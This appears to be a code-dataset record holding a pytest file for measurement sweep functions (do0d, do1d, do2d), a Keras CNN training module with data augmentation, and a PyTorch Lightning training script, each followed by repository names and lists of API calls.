protected](\"experiment\")\ndef test_do0d_parameter_with_array_vals():\n param = ArrayshapedParam(name='paramwitharrayval', vals=Arrays(shape=(10,)))\n results = do0d(param)\n expected_shapes = {'paramwitharrayval': (10,)}\n assert results[0].description.shapes == expected_shapes\n\n\ndef test_do0d_explicit_experiment(_param, experiment):\n experiment_2 = new_experiment('new-exp', 'no-sample')\n\n data1 = do0d(_param, do_plot=False, exp=experiment)\n assert data1[0].exp_name == \"test-experiment\"\n data2 = do0d(_param, do_plot=False, exp=experiment_2)\n assert data2[0].exp_name == \"new-exp\"\n # by default the last experiment is used\n data3 = do0d(_param, do_plot=False)\n assert data3[0].exp_name == \"new-exp\"\n\n\ndef test_do0d_explicit_name(_param, experiment):\n data1 = do0d(_param, do_plot=False, measurement_name=\"my measurement\")\n assert data1[0].name == \"my measurement\"\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('delay', [0, 0.1, 1])\ndef test_do1d_with_real_parameter(_param_set, _param, delay):\n\n start = 0\n stop = 1\n num_points = 1\n\n do1d(_param_set, start, stop, num_points, delay, _param)\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('plot', [None, True, False])\[email protected]('plot_config', [None, True, False])\ndef test_do1d_plot(_param_set, _param, plot, plot_config):\n\n if plot_config is not None:\n config.dataset.dond_plot = plot_config\n\n start = 0\n stop = 1\n num_points = 1\n\n output = do1d(_param_set, start, stop, num_points, 0, _param, do_plot=plot)\n assert len(output[1]) == 1\n if plot is True or plot is None and plot_config is True:\n assert isinstance(output[1][0], matplotlib.axes.Axes)\n else:\n assert output[1][0] is None\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('delay', [0, 0.1, 1])\ndef test_do1d_with_complex_parameter(_param_set, _param_complex, delay):\n\n start = 0\n stop = 1\n num_points = 1\n\n do1d(_param_set, start, stop, num_points, delay, _param_complex)\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('delay', [0, 0.1, 1])\ndef test_do1d_with_2_parameter(_param_set, _param, _param_complex, delay):\n\n start = 0\n stop = 1\n num_points = 1\n\n do1d(_param_set, start, stop, num_points, delay, _param, _param_complex)\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('delay', [0, 0.1, 1])\ndef test_do1d_output_type_real_parameter(_param_set, _param, delay):\n\n start = 0\n stop = 1\n num_points = 1\n\n data = do1d(_param_set, start, stop, num_points, delay, _param)\n assert isinstance(data[0], DataSet) is True\n\n\[email protected](\"plot_close\", \"experiment\")\ndef test_do1d_output_data(_param, _param_set):\n\n start = 0\n stop = 1\n num_points = 5\n delay = 0\n\n exp = do1d(_param_set, start, stop, num_points, delay, _param)\n data = exp[0]\n\n assert data.parameters == f'{_param_set.name},{_param.name}'\n loaded_data = data.get_parameter_data()['simple_parameter']\n\n np.testing.assert_array_equal(loaded_data[_param.name], np.ones(5))\n np.testing.assert_array_equal(loaded_data[_param_set.name], np.linspace(0, 1, 5))\n\n\ndef test_do0d_parameter_with_setpoints_2d(dummyinstrument):\n dummyinstrument.A.dummy_start(0)\n dummyinstrument.A.dummy_stop(10)\n dummyinstrument.A.dummy_n_points(10)\n dummyinstrument.A.dummy_start_2(2)\n dummyinstrument.A.dummy_stop_2(7)\n dummyinstrument.A.dummy_n_points_2(3)\n dataset, _, _ = do0d(dummyinstrument.A.dummy_parameter_with_setpoints_2d)\n\n data = dataset.cache.data()['dummyinstrument_ChanA_dummy_parameter_with_setpoints_2d']\n for array in data.values():\n assert array.shape == (10, 3)\n\n\[email protected](\"experiment\")\[email protected](\"multiparamtype\", [MultiSetPointParam,\n Multi2DSetPointParam,\n Multi2DSetPointParam2Sizes])\n@given(num_points=hst.integers(min_value=1, max_value=10),\n n_points_pws=hst.integers(min_value=1, max_value=1000))\n@settings(deadline=None, suppress_health_check=(HealthCheck.function_scoped_fixture,))\ndef test_do1d_verify_shape(_param, _param_complex, _param_set, multiparamtype,\n dummyinstrument, num_points, n_points_pws):\n arrayparam = ArraySetPointParam(name='arrayparam')\n multiparam = multiparamtype(name='multiparam')\n paramwsetpoints = dummyinstrument.A.dummy_parameter_with_setpoints\n dummyinstrument.A.dummy_start(0)\n dummyinstrument.A.dummy_stop(1)\n dummyinstrument.A.dummy_n_points(n_points_pws)\n\n start = 0\n stop = 1\n delay = 0\n\n results = do1d(_param_set, start, stop, num_points, delay,\n arrayparam, multiparam, paramwsetpoints,\n _param, _param_complex,\n do_plot=False)\n expected_shapes = {}\n for i, name in enumerate(multiparam.full_names):\n expected_shapes[name] = (num_points, ) + tuple(multiparam.shapes[i])\n expected_shapes['arrayparam'] = (num_points, ) + tuple(arrayparam.shape)\n expected_shapes['simple_parameter'] = (num_points, )\n expected_shapes['simple_complex_parameter'] = (num_points, )\n expected_shapes[paramwsetpoints.full_name] = (num_points, n_points_pws)\n assert results[0].description.shapes == expected_shapes\n\n\[email protected](\"experiment\")\ndef test_do1d_parameter_with_array_vals(_param_set):\n param = ArrayshapedParam(name='paramwitharrayval', vals=Arrays(shape=(10,)))\n start = 0\n stop = 1\n num_points = 15 # make param\n delay = 0\n\n results = do1d(_param_set, start, stop, num_points, delay,\n param, do_plot=False)\n expected_shapes = {'paramwitharrayval': (num_points, 10)}\n\n ds = results[0]\n\n assert ds.description.shapes == expected_shapes\n\n data = ds.get_parameter_data()\n\n for name, data in data.items():\n for param_data in data.values():\n assert param_data.shape == expected_shapes[name]\n\n\ndef test_do1d_explicit_experiment(_param_set, _param, experiment):\n start = 0\n stop = 1\n num_points = 5\n delay = 0\n\n experiment_2 = new_experiment('new-exp', 'no-sample')\n\n data1 = do1d(_param_set, start, stop, num_points, delay,\n _param, do_plot=False, exp=experiment)\n assert data1[0].exp_name == \"test-experiment\"\n data2 = do1d(_param_set, start, stop, num_points, delay,\n _param, do_plot=False, exp=experiment_2)\n assert data2[0].exp_name == \"new-exp\"\n # by default the last experiment is used\n data3 = do1d(_param_set, start, stop, num_points, delay,\n _param, do_plot=False)\n assert data3[0].exp_name == \"new-exp\"\n\n\ndef test_do1d_explicit_name(_param_set, _param, experiment):\n start = 0\n stop = 1\n num_points = 5\n delay = 0\n\n data1 = do1d(_param_set, start, stop, num_points, delay,\n _param, do_plot=False, measurement_name=\"my measurement\")\n assert data1[0].name == \"my measurement\"\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('sweep, columns', [(False, False), (False, True),\n (True, False), (True, True)])\ndef test_do2d(_param, _param_complex, _param_set, _param_set_2, sweep, columns):\n\n start_p1 = 0\n stop_p1 = 1\n num_points_p1 = 1\n delay_p1 = 0\n\n start_p2 = 0.1\n stop_p2 = 1.1\n num_points_p2 = 2\n delay_p2 = 0.01\n\n do2d(_param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, _param_complex, set_before_sweep=sweep, flush_columns=columns)\n\n\[email protected](\"plot_close\", \"experiment\")\[email protected]('plot', [None, True, False])\[email protected]('plot_config', [None, True, False])\ndef test_do2d_plot(_param_set, _param_set_2, _param, plot, plot_config):\n\n if plot_config is not None:\n config.dataset.dond_plot = plot_config\n\n start_p1 = 0\n stop_p1 = 1\n num_points_p1 = 1\n delay_p1 = 0\n\n start_p2 = 0.1\n stop_p2 = 1.1\n num_points_p2 = 2\n delay_p2 = 0\n\n output = do2d(\n _param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, do_plot=plot\n )\n\n assert len(output[1]) == 1\n if plot is True or plot is None and plot_config is True:\n assert isinstance(output[1][0], matplotlib.axes.Axes)\n else:\n assert output[1][0] is None\n\n\[email protected](\"plot_close\", \"experiment\")\ndef test_do2d_output_type(_param, _param_complex, _param_set, _param_set_2):\n\n start_p1 = 0\n stop_p1 = 0.5\n num_points_p1 = 1\n delay_p1 = 0\n\n start_p2 = 0.1\n stop_p2 = 0.75\n num_points_p2 = 2\n delay_p2 = 0.025\n\n data = do2d(_param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, _param_complex)\n assert isinstance(data[0], DataSet) is True\n\n\[email protected](\"plot_close\", \"experiment\")\ndef test_do2d_output_data(_param, _param_complex, _param_set, _param_set_2):\n\n start_p1 = 0\n stop_p1 = 0.5\n num_points_p1 = 5\n delay_p1 = 0\n\n start_p2 = 0.5\n stop_p2 = 1\n num_points_p2 = 5\n delay_p2 = 0.0\n\n exp = do2d(_param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, _param_complex)\n data = exp[0]\n\n assert data.parameters == (f'{_param_set.name},{_param_set_2.name},'\n f'{_param.name},{_param_complex.name}')\n loaded_data = data.get_parameter_data()\n expected_data_1 = np.ones(25).reshape(num_points_p1, num_points_p2)\n\n np.testing.assert_array_equal(loaded_data[_param.name][_param.name],\n expected_data_1)\n expected_data_2 = (1+1j)*np.ones(25).reshape(num_points_p1, num_points_p2)\n np.testing.assert_array_equal(\n loaded_data[_param_complex.name][_param_complex.name],\n expected_data_2\n )\n\n expected_setpoints_1 = np.repeat(\n np.linspace(start_p1, stop_p1, num_points_p1),\n num_points_p2).reshape(num_points_p1, num_points_p2)\n np.testing.assert_array_equal(\n loaded_data[_param_complex.name][_param_set.name],\n expected_setpoints_1\n )\n\n expected_setpoints_2 = np.tile(\n np.linspace(start_p2, stop_p2, num_points_p2),\n num_points_p1).reshape(num_points_p1, num_points_p2)\n np.testing.assert_array_equal(\n loaded_data[_param_complex.name][_param_set_2.name],\n expected_setpoints_2\n )\n\n\[email protected](\"experiment\")\[email protected]('sweep, columns', [(False, False), (False, True),\n (True, False), (True, True)])\[email protected](\"multiparamtype\", [MultiSetPointParam,\n Multi2DSetPointParam,\n Multi2DSetPointParam2Sizes])\n@given(num_points_p1=hst.integers(min_value=1, max_value=10),\n num_points_p2=hst.integers(min_value=1, max_value=10),\n n_points_pws=hst.integers(min_value=1, max_value=1000))\n@settings(deadline=None, suppress_health_check=(HealthCheck.function_scoped_fixture,))\ndef test_do2d_verify_shape(_param, _param_complex, _param_set, _param_set_2,\n multiparamtype,\n dummyinstrument,\n sweep, columns,\n num_points_p1, num_points_p2, n_points_pws):\n arrayparam = ArraySetPointParam(name='arrayparam')\n multiparam = multiparamtype(name='multiparam')\n paramwsetpoints = dummyinstrument.A.dummy_parameter_with_setpoints\n dummyinstrument.A.dummy_start(0)\n dummyinstrument.A.dummy_stop(1)\n dummyinstrument.A.dummy_n_points(n_points_pws)\n\n start_p1 = 0\n stop_p1 = 1\n delay_p1 = 0\n\n start_p2 = 0.1\n stop_p2 = 1.1\n delay_p2 = 0\n\n results = do2d(_param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n arrayparam, multiparam, paramwsetpoints,\n _param, _param_complex,\n set_before_sweep=sweep,\n flush_columns=columns, do_plot=False)\n expected_shapes = {}\n for i, name in enumerate(multiparam.full_names):\n expected_shapes[name] = ((num_points_p1, num_points_p2) +\n tuple(multiparam.shapes[i]))\n expected_shapes['arrayparam'] = ((num_points_p1, num_points_p2) +\n tuple(arrayparam.shape))\n expected_shapes['simple_parameter'] = (num_points_p1, num_points_p2)\n expected_shapes['simple_complex_parameter'] = (num_points_p1, num_points_p2)\n expected_shapes[paramwsetpoints.full_name] = (num_points_p1,\n num_points_p2,\n n_points_pws)\n\n assert results[0].description.shapes == expected_shapes\n ds = results[0]\n\n data = ds.get_parameter_data()\n\n for name, data in data.items():\n for param_data in data.values():\n assert param_data.shape == expected_shapes[name]\n\n\[email protected](\"plot_close\", \"experiment\")\ndef test_do1d_additional_setpoints(_param, _param_complex, _param_set):\n additional_setpoints = [Parameter(\n f'additional_setter_parameter_{i}',\n set_cmd=None,\n get_cmd=None) for i in range(2)]\n start_p1 = 0\n stop_p1 = 0.5\n num_points_p1 = 5\n delay_p1 = 0\n\n for x in range(3):\n for y in range(4):\n additional_setpoints[0](x)\n additional_setpoints[1](y)\n results = do1d(\n _param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param, _param_complex,\n additional_setpoints=additional_setpoints)\n for deps in results[0].description.interdeps.dependencies.values():\n assert len(deps) == 1 + len(additional_setpoints)\n # Calling the fixture won't work here due to loop-scope.\n # Thus, we make an explicit call to close plots. This will be\n # repeated in similarly design tests.\n plt.close('all')\n\n\n@settings(suppress_health_check=(HealthCheck.function_scoped_fixture,))\n@given(num_points_p1=hst.integers(min_value=1, max_value=10))\[email protected](\"experiment\")\ndef test_do1d_additional_setpoints_shape(_param, _param_complex, _param_set,\n num_points_p1):\n arrayparam = ArraySetPointParam(name='arrayparam')\n array_shape = arrayparam.shape\n additional_setpoints = [Parameter(\n f'additional_setter_parameter_{i}',\n set_cmd=None,\n get_cmd=None) for i in range(2)]\n start_p1 = 0\n stop_p1 = 0.5\n delay_p1 = 0\n\n x = 1\n y = 2\n\n additional_setpoints[0](x)\n additional_setpoints[1](y)\n results = do1d(\n _param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param, arrayparam,\n additional_setpoints=additional_setpoints,\n do_plot=False)\n expected_shapes = {\n 'arrayparam': (1, 1, num_points_p1, array_shape[0]),\n 'simple_parameter': (1, 1, num_points_p1)\n }\n assert results[0].description.shapes == expected_shapes\n\n\[email protected](\"plot_close\", \"experiment\")\ndef test_do2d_additional_setpoints(_param, _param_complex,\n _param_set, _param_set_2):\n additional_setpoints = [Parameter(\n f'additional_setter_parameter_{i}',\n set_cmd=None,\n get_cmd=None) for i in range(2)]\n start_p1 = 0\n stop_p1 = 0.5\n num_points_p1 = 5\n delay_p1 = 0\n\n start_p2 = 0.5\n stop_p2 = 1\n num_points_p2 = 5\n delay_p2 = 0.0\n for x in range(3):\n for y in range(4):\n additional_setpoints[0](x)\n additional_setpoints[1](y)\n results = do2d(\n _param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, _param_complex,\n additional_setpoints=additional_setpoints)\n for deps in results[0].description.interdeps.dependencies.values():\n assert len(deps) == 2 + len(additional_setpoints)\n plt.close('all')\n\n\n@given(num_points_p1=hst.integers(min_value=1, max_value=10),\n num_points_p2=hst.integers(min_value=1, max_value=10))\n@settings(deadline=None, suppress_health_check=(HealthCheck.function_scoped_fixture,))\[email protected](\"experiment\")\ndef test_do2d_additional_setpoints_shape(\n _param, _param_complex,\n _param_set, _param_set_2,\n num_points_p1, num_points_p2):\n arrayparam = ArraySetPointParam(name='arrayparam')\n array_shape = arrayparam.shape\n additional_setpoints = [Parameter(\n f'additional_setter_parameter_{i}',\n set_cmd=None,\n get_cmd=None) for i in range(2)]\n start_p1 = 0\n stop_p1 = 0.5\n delay_p1 = 0\n\n start_p2 = 0.5\n stop_p2 = 1\n delay_p2 = 0.0\n\n x = 1\n y = 2\n\n additional_setpoints[0](x)\n additional_setpoints[1](y)\n results = do2d(\n _param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, _param_complex, arrayparam,\n additional_setpoints=additional_setpoints,\n do_plot=False)\n expected_shapes = {\n 'arrayparam': (1, 1, num_points_p1, num_points_p2, array_shape[0]),\n 'simple_complex_parameter': (1, 1, num_points_p1, num_points_p2),\n 'simple_parameter': (1, 1, num_points_p1, num_points_p2)\n }\n assert results[0].description.shapes == expected_shapes\n\n\ndef test_do2d_explicit_experiment(_param_set, _param_set_2, _param, experiment):\n start_p1 = 0\n stop_p1 = 0.5\n num_points_p1 = 5\n delay_p1 = 0\n\n start_p2 = 0.5\n stop_p2 = 1\n num_points_p2 = 5\n delay_p2 = 0.0\n\n experiment_2 = new_experiment('new-exp', 'no-sample')\n\n data1 = do2d(_param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, do_plot=False, exp=experiment)\n assert data1[0].exp_name == \"test-experiment\"\n data2 = do2d(_param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, do_plot=False, exp=experiment_2)\n assert data2[0].exp_name == \"new-exp\"\n # by default the last experiment is used\n data3 = do2d(_param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, do_plot=False)\n assert data3[0].exp_name == \"new-exp\"\n\n\ndef test_do2d_explicit_name(_param_set, _param_set_2, _param, experiment):\n start_p1 = 0\n stop_p1 = 0.5\n num_points_p1 = 5\n delay_p1 = 0\n\n start_p2 = 0.5\n stop_p2 = 1\n num_points_p2 = 5\n delay_p2 = 0.0\n\n data1 = do2d(_param_set, start_p1, stop_p1, num_points_p1, delay_p1,\n _param_set_2, start_p2, stop_p2, num_points_p2, delay_p2,\n _param, do_plot=False, measurement_name=\"my measurement\")\n assert data1[0].name == \"my measurement\"\n" ]
[ [ "numpy.testing.assert_array_equal", "numpy.ones", "matplotlib.pyplot.close", "numpy.linspace" ] ]
adam2392/dnn-unsupervised
[ "445b472b1e239f7dee15cb97c6351c86ec84e5e6" ]
[ "dnn/model/train/traincnnaux.py" ]
[ "from .basetrain import BaseTrain\nimport numpy as np\nimport os\nfrom sklearn.model_selection import train_test_split\n\nimport keras\nfrom keras.optimizers import Adam\nfrom keras.callbacks import ModelCheckpoint, ReduceLROnPlateau\nfrom keras.callbacks import Callback\nfrom keras.preprocessing.image import ImageDataGenerator\n\n# metrics for postprocessing of the results\nimport sklearn\nfrom sklearn.metrics import confusion_matrix\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import precision_score, \\\n recall_score, classification_report, \\\n f1_score, roc_auc_score\n\nimport pprint\n\n\nclass TestCallback(Callback):\n def __init__(self):\n # self.test_data = test_data\n self.aucs = []\n\n def on_epoch_end(self, epoch, logs={}):\n # x, y = self.test_data\n # x = self.model.validation_data[0]\n # y = self.model.validation_data[1]\n x = self.validation_data[0]\n y = self.validation_data[1]\n\n loss, acc = self.model.evaluate(x, y, verbose=0)\n print('\\nTesting loss: {}, acc: {}\\n'.format(loss, acc))\n\n predicted = self.model.predict(x)\n self.aucs.append(roc_auc_score(y, predicted))\n\n predicted = self.model.predict_classes(x)\n ytrue = np.argmax(y, axis=1)\n print('Mean accuracy score: ', accuracy_score(ytrue, predicted))\n print('F1 score:', f1_score(ytrue, predicted))\n print('Recall:', recall_score(ytrue, predicted))\n print('Precision:', precision_score(ytrue, predicted))\n print('\\n clasification report:\\n',\n classification_report(ytrue, predicted))\n print('\\n confusion matrix:\\n', confusion_matrix(ytrue, predicted))\n\n\ndef preprocess_imgwithnoise(image_tensor):\n # preprocessing_function: function that will be implied on each input.\n # The function will run before any other modification on it.\n # The function should take one argument:\n # one image (Numpy tensor with rank 3),\n # and should output a Numpy tensor with the same shape.\n assert image_tensor.shape[0] == image_tensor.shape[1]\n stdmult = 0.1\n imsize = image_tensor.shape[0]\n numchans = image_tensor.shape[2]\n for i in range(numchans):\n feat = image_tensor[..., i]\n image_tensor[..., i] = image_tensor[..., i] + np.random.normal(\n scale=stdmult*np.std(feat), size=feat.size).reshape(imsize, imsize)\n return image_tensor\n\n\nclass TrainFragAux(BaseTrain):\n def __init__(self, dnnmodel, batch_size, NUM_EPOCHS, AUGMENT):\n self.dnnmodel = dnnmodel\n self.batch_size = batch_size\n self.NUM_EPOCHS = NUM_EPOCHS\n self.AUGMENT = AUGMENT\n\n def configure(self, tempdatadir):\n # initialize loss function, SGD optimizer and metrics\n loss = 'binary_crossentropy'\n optimizer = Adam(lr=1e-4,\n beta_1=0.9,\n beta_2=0.999,\n epsilon=1e-08,\n decay=0.0)\n metrics = ['accuracy']\n self.modelconfig = self.dnnmodel.compile(loss=loss,\n optimizer=optimizer,\n metrics=metrics)\n\n tempfilepath = os.path.join(\n tempdatadir, \"weights-improvement-{epoch:02d}-{val_acc:.2f}.hdf5\")\n # callbacks availabble\n checkpoint = ModelCheckpoint(tempfilepath,\n monitor='val_acc',\n verbose=1,\n save_best_only=True,\n mode='max')\n reduce_lr = ReduceLROnPlateau(monitor='val_loss', factor=0.5,\n patience=10, min_lr=1e-8)\n testcheck = TestCallback()\n self.callbacks = [checkpoint, reduce_lr, testcheck]\n\n def loadformatteddata(self, Xmain_train, Xmain_test,\n Xaux_train, Xaux_test, y_train, y_test, class_weight):\n self.Xmain_train = Xmain_train\n self.Xmain_test = Xmain_test\n self.Xaux_train = Xaux_train\n self.Xaux_test = Xaux_test\n self.y_train = y_train\n self.y_test = y_test\n self.class_weight = class_weight\n\n def train(self):\n # get the training parameters\n callbacks = self.callbacks\n dnnmodel = self.dnnmodel\n class_weight = self.class_weight\n\n # Finally create generator\n gen_flow = self.gen_flow_for_two_inputs(\n self.Xmain_train, self.Xaux_train, self.y_train)\n\n print(\"main data shape: \", self.Xmain_train.shape)\n print(\"aux data shape: \", self.Xaux_train.shape)\n print(\"y data shape: \", self.y_train.shape)\n\n # augment data, or not and then trian the model!\n if not self.AUGMENT:\n print('Not using data augmentation. Implement Solution still!')\n # HH = dnnmodel.fit(X_train, y_train,\n # steps_per_epoch=X_train.shape[0] // batch_size,\n # batch_size=self.batch_size,\n # epochs=self.NUM_EPOCHS,\n # validation_data=(X_test, y_test),\n # shuffle=True,\n # class_weight=class_weight,\n # callbacks=callbacks)\n else:\n print('Using real-time data augmentation.')\n self.generator.fit(self.Xaux_train)\n HH = dnnmodel.fit_generator(gen_flow,\n steps_per_epoch=self.y_train.shape[0] // self.batch_size,\n epochs=self.NUM_EPOCHS,\n validation_data=(\n self.Xmain_test, self.Xaux_test, self.y_test),\n shuffle=True,\n class_weight=class_weight,\n callbacks=callbacks, verbose=2)\n self.HH = HH\n\n def loadgenerator(self):\n # This will do preprocessing and realtime data augmentation:\n self.generator = ImageDataGenerator(\n # featurewise_center=True, # set input mean to 0 over the dataset\n samplewise_center=True, # set each sample mean to 0\n # featurewise_std_normalization=True, # divide inputs by std of the dataset\n samplewise_std_normalization=True, # divide each input by its std\n zca_whitening=False, # apply ZCA whitening\n # randomly rotate images in the range (degrees, 0 to 180)\n rotation_range=5,\n # randomly shift images horizontally (fraction of total width)\n width_shift_range=0.2,\n # randomly shift images vertically (fraction of total height)\n height_shift_range=0.2,\n horizontal_flip=False, # randomly flip images\n vertical_flip=False, # randomly flip images\n channel_shift_range=4,\n fill_mode='nearest',\n preprocessing_function=preprocess_imgwithnoise)\n\n # Here is the function that merges our two generators\n # We use the exact same generator with the same random seed for both the y and angle arrays\n def gen_flow_for_two_inputs(self, X1, X2, y):\n genX1 = self.generator.flow(\n X1, y, batch_size=self.batch_size, seed=666)\n genX2 = self.generator.flow(\n X2, y, batch_size=self.batch_size, seed=666)\n\n while True:\n X1i = genX1.next()\n X2i = genX2.next()\n # Assert arrays are equal - this was for peace of mind, but slows down training\n # np.testing.assert_array_equal(X1i[0],X2i[0])\n yield [X1i[0], X2i[0]], X1i[1]\n\n def saveoutput(self, modelname, outputdatadir):\n modeljsonfile = os.path.join(outputdatadir, modelname + \"_model.json\")\n historyfile = os.path.join(\n outputdatadir, modelname + '_history' + '.pkl')\n finalweightsfile = os.path.join(\n outputdatadir, modelname + '_final_weights' + '.h5')\n\n # save model\n if not os.path.exists(modeljsonfile):\n # serialize model to JSON\n model_json = currmodel.to_json()\n with open(modeljsonfile, \"w\") as json_file:\n json_file.write(model_json)\n print(\"Saved model to disk\")\n\n # save history\n with open(historyfile, 'wb') as file_pi:\n pickle.dump(self.HH.history, file_pi)\n\n # save final weights\n self.dnnmodel.save(finalweightsfile)\n" ]
[ [ "sklearn.metrics.confusion_matrix", "sklearn.metrics.accuracy_score", "sklearn.metrics.classification_report", "numpy.std", "numpy.argmax", "sklearn.metrics.precision_score", "sklearn.metrics.f1_score", "sklearn.metrics.roc_auc_score", "sklearn.metrics.recall_score" ] ]
rapidrabbit76/Classification-For-Everyone
[ "efb6a696b6085496eee6522a3f3af074be6d112b" ]
[ "main.py" ]
[ "import os\nfrom argparse import ArgumentParser\nfrom typing import *\nfrom unicodedata import name\n\nimport pytorch_lightning as pl\nimport torch\nfrom pytorch_lightning.callbacks import (\n EarlyStopping,\n LearningRateMonitor,\n ModelCheckpoint,\n TQDMProgressBar,\n)\nfrom pytorch_lightning.loggers import WandbLogger\nfrom pytorch_lightning.utilities.seed import seed_everything\n\nfrom datamodules import *\nfrom models import *\nfrom transforms import *\n\n\ndef hyperparameters():\n parser = ArgumentParser()\n parser = pl.Trainer.add_argparse_args(parser)\n\n add = parser.add_argument\n\n ds_candidate = list(DATAMODULE_TABLE.keys())\n model_candidate = list(MODEL_TABLE.keys())\n transfoms_candidate = list(TRANSFORMS_TABLE.keys())\n\n # experiment hyperparameters\n ## experiment\n add(\"--seed\", type=int, default=9423)\n add(\"--experiment_name\", type=str)\n add(\"--root_dir\", type=str)\n\n ## data module/set/transforms\n add(\"--dataset\", type=str, choices=ds_candidate)\n add(\"--transforms\", type=str, choices=transfoms_candidate)\n add(\"--num_workers\", type=int, default=16)\n add(\"--image_channels\", type=int, default=3)\n add(\"--image_size\", type=int)\n add(\"--batch_size\", type=int, default=64)\n\n ## each model\n add(\"--model\", type=str, choices=model_candidate)\n add(\"--model_type\", type=str)\n add(\"--num_classes\", type=int)\n add(\"--dropout_rate\", type=float, default=0.5)\n\n ## WideResNet\n add(\"--depth\", type=int, default=40)\n add(\"--K\", type=int, default=10)\n\n ## Inception\n add(\"--loss_w\", type=float, default=0.5)\n add(\"--aux_loss_w\", type=float, default=0.5)\n\n ## Densenet\n add(\"--growth_rate\", type=int, default=12)\n\n ## callbacks\n add(\"--callbacks_verbose\", action=\"store_true\")\n add(\"--callbacks_refresh_rate\", type=int, default=5)\n add(\"--callbacks_save_top_k\", type=int, default=3)\n add(\"--callbacks_monitor\", type=str, default=\"val/acc\")\n add(\"--callbacks_mode\", type=str, default=\"max\")\n add(\"--earlystooping_min_delta\", type=float, default=0.02)\n add(\"--earlystooping_patience\", type=int, default=10)\n\n ## optimizer\n add(\"--lr\", type=float, default=0.1)\n add(\"--lr_scheduler_gamma\", type=float, default=0.2)\n add(\"--scheduler_interval\", type=str, default=\"epoch\")\n add(\"--scheduler_frequency\", type=int, default=10)\n\n ## ReduceLROnPlateau\n add(\"--scheduler_mode\", type=str, default=\"min\")\n add(\"--scheduler_factor\", type=float, default=0.1)\n add(\"--scheduler_patience\", type=int, default=5)\n add(\"--scheduler_monitor\", type=str, default=\"val/loss\")\n\n ### SGD\n add(\"--momentum\", type=float, default=0)\n add(\"--weight_decay\", type=float, default=0)\n add(\"--nesterov\", action=\"store_true\")\n\n args = pl.Trainer.parse_argparser(parser.parse_args())\n return args\n\n\ndef main(args):\n transforms = TRANSFORMS_TABLE[args.transforms]\n datamodule = DATAMODULE_TABLE[args.dataset]\n model = MODEL_TABLE[args.model]\n\n seed_everything(args.seed)\n\n ######################### BUILD DATAMODULE ##############################\n image_shape = [args.image_channels, args.image_size, args.image_size]\n\n train_transforms = transforms(image_shape=image_shape, train=True)\n val_transforms = transforms(image_shape=image_shape, train=False)\n test_transforms = transforms(image_shape=image_shape, train=False)\n\n datamodule = datamodule(\n root_dir=args.root_dir,\n train_transforms=train_transforms,\n val_transforms=val_transforms,\n test_transforms=test_transforms,\n batch_size=args.batch_size,\n num_workers=args.num_workers,\n )\n ############################## MODEL ####################################\n model = model(args)\n model.initialize_weights()\n\n ############################## LOGGER ###################################\n save_dir = os.path.join(\n args.default_root_dir,\n args.experiment_name,\n )\n os.makedirs(save_dir, exist_ok=True)\n\n wandb_logger = WandbLogger(\n project=args.experiment_name,\n save_dir=save_dir,\n )\n wandb_logger.watch(model, log=\"all\", log_freq=args.log_every_n_steps)\n save_dir = wandb_logger.experiment.dir\n\n ############################## CALLBACKS ################################\n callbacks = [\n TQDMProgressBar(refresh_rate=5),\n LearningRateMonitor(logging_interval=\"epoch\"),\n EarlyStopping(\n monitor=args.callbacks_monitor,\n mode=args.callbacks_mode,\n min_delta=args.earlystooping_min_delta,\n patience=args.earlystooping_patience,\n verbose=args.callbacks_verbose,\n ),\n ModelCheckpoint(\n monitor=args.callbacks_monitor,\n mode=args.callbacks_mode,\n dirpath=os.path.join(save_dir, \"ckpt\"),\n filename=\"[{epoch:04d}]-[{step:06d}]-[{val/acc:.4f}]\",\n auto_insert_metric_name=False,\n save_top_k=args.callbacks_save_top_k,\n save_last=True,\n verbose=args.callbacks_verbose,\n ),\n ]\n\n ############################## TRAIN SETTING ############################\n trainer = pl.Trainer.from_argparse_args(\n args,\n logger=wandb_logger,\n callbacks=callbacks,\n )\n\n ############################# TRAIN START ###############################\n trainer.fit(model, datamodule=datamodule)\n wandb_logger.experiment.unwatch(model)\n\n ############################# TEST START ###############################\n test_info = trainer.test(model, datamodule=datamodule)\n\n ############################# MODEL SAVE ################################\n example_inputs = torch.rand([1] + image_shape)\n model.to_torchscript(\n file_path=os.path.join(save_dir, \"model.ts.zip\"),\n method=\"trace\",\n example_inputs=example_inputs,\n )\n\n model.to_onnx(\n file_path=os.path.join(save_dir, \"model.onnx\"),\n input_sample=example_inputs,\n export_params=True,\n input_names=[\"inputs\"],\n output_names=[\"output\"],\n )\n\n return test_info\n\n\nif __name__ == \"__main__\":\n args = hyperparameters()\n info = main(args)\n" ]
[ [ "torch.rand" ] ]
jtLiBrain/spark
[ "5b4816cfc8e290d6f56e57227cb397eebf6a030e" ]
[ "python/pyspark/pandas/generic.py" ]
